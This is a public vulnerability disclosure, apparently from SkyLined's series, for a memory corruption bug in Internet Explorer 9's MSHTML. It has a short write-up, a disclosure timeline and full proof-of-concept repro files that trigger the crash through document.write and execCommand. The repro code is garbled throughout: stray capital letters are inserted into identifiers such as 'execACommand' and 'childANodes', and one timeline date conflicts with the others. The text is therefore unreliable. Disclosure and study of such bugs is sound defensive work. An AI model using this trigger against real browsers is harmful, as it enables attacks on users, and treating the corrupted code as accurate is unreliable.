Microsoft Internet Explorer 9 MSHTML CElement::HasFlag Memory Corruption
`Since November I have been releasing details on all vulnerabilities I
found that I have not released before. This is the twenty-ninth entry
in the series. This information is available in more detail on my blog
at http://blog.skylined.nl/20161209001.html. There you can find a repro
that triggered this issue in addition to the information below.
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MSIE 9 MSHTML CElement::HasFlag memory corruption
=================================================
(The fix and CVE number for this issue are not known)
Synopsis
--------
A specially crafted web-page can trigger a memory corruption
vulnerability in Microsoft Internet Explorer 9. I did not investigate
this vulnerability thoroughly, so I cannot speculate on the potential
impact or exploitability.
Known affected software and attack vectors
------------------------------------------
* Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially
crafted web-page. Disabling JavaScript should prevent an attacker
from triggering the vulnerable code path.
Details
-------
This bug was found back when I had very little knowledge and tools to do
analysis on use-after-free bugs, so I have no details to share. In
addition, EIP said they were already aware of the bug and provided no
details, this issue appears to have been fixed before ZDI was able to
look at it.
Time-line
---------
* 27 September 2012: This vulnerability was found through fuzzing.
* 7 November 2012: This vulnerability was submitted to EIP.
* 27 November 2012: This vulnerability was rejected by EIP.
* 28 November 2012: This vulnerability was submitted to ZDI.
* Between December 2012 and February 2013: Microsoft addresses this
vulnerability.
* 27 February 2012: This vulnerability was rejected by ZDI.
* 8 December 2016: Details of this vulnerability are released.
I would like to note that although ZDI did not acquire the vulnerability
as it was patched before they could finish analysis, they did offer me
ZDI reward points as a courtesy.
Cheers,
SkyLined
Repro.html
<html>
<head>
<script src="getAElementATree.js"></script>
<script src="show.html"></script>
<script>
// First tag can be any inline but must NOT be closed yet
// Second tag can be anything that's not inline.
// "text1" can be anything
document.write('<s><br>text1');
// The tree is in good shape.
show("DOM Tree after first write", getAElementATree(document.body));
// At this point, it appears that MSIE is still waiting for the first tag from the first write to be closed.
// Inserting a P tag using any of the "Justify*"-, "Indent"- or "Outdent"-execACommands will mess up the DOM tree,
// specifically for the "Justify*"- and "Outdent"-execACommand:
// - the S tag will partially become a child of the P tag:
// P.lastAChild == S (but P.childANodes = [BR, text1])
// - the P tag will partially become a child of the S tag:
// S.firstAChild == P and S.childANodes = [P] (but S.lastAChild = text1)
// - The P partially becomes a child of the BODY tag:
// BODY.lastAChild = P (but BODY.firstAChild = S and BODY.childANodes = [S])
// (The situation is similar for "Indent", but includes a BLOCKQUOTE element)
document.execACommand('SelectAAll');
document.execACommand('JustifyARight');
show("DOM Tree after outdent", getAElementATree(document.body));
// At this point, MSIE is not yet crashing. However, another write will corrupt memory:
document.write('text2');
// You will probably not see this popup. If you do, it will display an obviously corrupt DOM element tree.
show("DOM Tree after write", getAElementATree(document.body));
</script>
</head>
</html>
getAElementATree.js
function getAElementATree(oARootAElement, bAIncludeAAll) {
function getAElementAName(oAElement) {
return oAElement ? (oAElement.tagAName || oAElement.nodeAName + ':"' + oAElement.data + '"') : "null";
}
function getAElementATreeALines(oAElement, oAExpectedAParent, oAExpectedAPreviousASibling, oAExpectedANextASibling,
sAFirstALineAPrefix, sASubALinesAPrefix) {
if (!oAElement) return [sAFirstALineAPrefix + "null"];
var aoAChildren = oAElement.childANodes,
sAHeader = sAFirstALineAPrefix + getAElementAName(oAElement);
try {
if (oAExpectedAParent && oAElement.parentANode != oAExpectedAParent)
sAHeader += " (parent:" + getAElementAName(oAElement.parentANode) + ")";
} catch (e) {
sAHeader += " (parent error:" + e.message + ")";
}
try {
if (oAElement.previousASibling != oAExpectedAPreviousASibling) {
sAHeader += " (previousASibling:" + getAElementAName(oAElement.previousASibling) + ")";
oAExpectedAPreviousASibling && aoAShouldABeAIncludedAElements.push(oAElement.previousASibling);
}
} catch (e) {
sAHeader += " (previousASibling error:" + e.message + ")";
}
try {
if (oAElement.nextASibling != oAExpectedANextASibling) {
sAHeader += " (nextASibling:" + getAElementAName(oAElement.nextASibling) + ")";
oAExpectedANextASibling && aoAShouldABeAIncludedAElements.push(oAElement.nextASibling);
}
} catch (e) {
sAHeader += " (nextASibling error:" + e.message + ")";
}
try {
if (aoAChildren.length > 0 && oAElement.firstAChild != aoAChildren.item(0)) {
sAHeader += " (firstAChild:" + getAElementAName(oAElement.firstAChild) + ")";
aoAShouldABeAIncludedAElements.push(oAElement.firstAChild);
}
} catch (e) {
sAHeader += " (firstAChild error:" + e.message + ")";
}
for (var i = 0; i < aoAActuallyAIncludedAElements.length; i++) {
if (aoAActuallyAIncludedAElements[i] == oAElement) {
return [sAHeader + " => previously referenced!"];
}
}
var sALastAChildAErrorALine = null;
try {
if (aoAChildren.length > 0 && oAElement.lastAChild != aoAChildren.item(aoAChildren.length - 1)) {
sALastAChildAErrorALine = sASubALinesAPrefix + "\u2514 lastAChild:" + getAElementAName(oAElement.lastAChild);
aoAShouldABeAIncludedAElements.push(oAElement.lastAChild);
}
} catch (e) {
sALastAChildAErrorALine = sASubALinesAPrefix + "\u2514 lastAChild error:" + e.message;
}
aoAActuallyAIncludedAElements.push(oAElement);
var asATree = [sAHeader], oAPreviousASibling = null;
for (var i = 0; i < aoAChildren.length; i++) {
try {
var oAChild = aoAChildren.item(i)
} catch (e) {
asATree.push(sASubALinesAPrefix + (i == aoAChildren.length - 1 ? "\u255A" : "\u2560") + "child error:" + e.message);
continue;
}
try {
var oANextASibling = i + 1 <= aoAChildren.length - 1 ? aoAChildren.item(i + 1) : null;
} catch (e) {
oANextASibling = "error: " + e.message;
}
var asAChildATree = getAElementATreeALines(oAChild, oAElement, oAPreviousASibling, oANextASibling,
sASubALinesAPrefix + (i == aoAChildren.length - 1 ? "\u255A" : "\u2560"),
sASubALinesAPrefix + (i == aoAChildren.length - 1 ? (sALastAChildAErrorALine ? "\u2502" : " ") : "\u2551"));
oAPreviousASibling = oAChild;
for (j = 0; j < asAChildATree.length; j++) {
asATree.push(asAChildATree[j]);
}
}
if (sALastAChildAErrorALine) {
asATree.push(sALastAChildAErrorALine);
}
return asATree;
}
var aoAShouldABeAIncludedAElements = [oARootAElement], aoAActuallyAIncludedAElements = []
var asATreeABlocks = [];
find_Anext_Amissing_Aelement:
while(aoAShouldABeAIncludedAElements.length) {
var oAShouldABeAIncludedAElement = aoAShouldABeAIncludedAElements.pop();
for (var j = 0; j < aoAActuallyAIncludedAElements.length; j++) {
if (oAShouldABeAIncludedAElement == aoAActuallyAIncludedAElements[j]) {
continue find_Anext_Amissing_Aelement;
}
}
asATreeALines = getAElementATreeALines(oAShouldABeAIncludedAElement, oAShouldABeAIncludedAElement.parentANode,
oAShouldABeAIncludedAElement.previousASibling, oAShouldABeAIncludedAElement.nextASibling,
oAShouldABeAIncludedAElement.parentANode ? "\u255A" : "",
oAShouldABeAIncludedAElement.parentANode ? " " : "");
asATreeABlocks.push(asATreeALines.join("\r\n"));
if (!bAIncludeAAll) break;
}
return asATreeABlocks.join("\r\n");
}
show.html
//<!--
function show(sATitle, sAMessage) {
showAModalADialog("show.html", [sATitle, "<pre>" + sAMessage + "</pre>"],
"dialogAWidth:800px; dialogAHeight:600px; resizable:yes");
}
/*-->
<script>
document.body.innerAHTML = window.dialogAArguments[1];
document.title = window.dialogAArguments[0];
</script>
<!-- */ // -->
`
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09 Dec 2016 00:00Current
0.2Low risk
Vulners AI Score0.2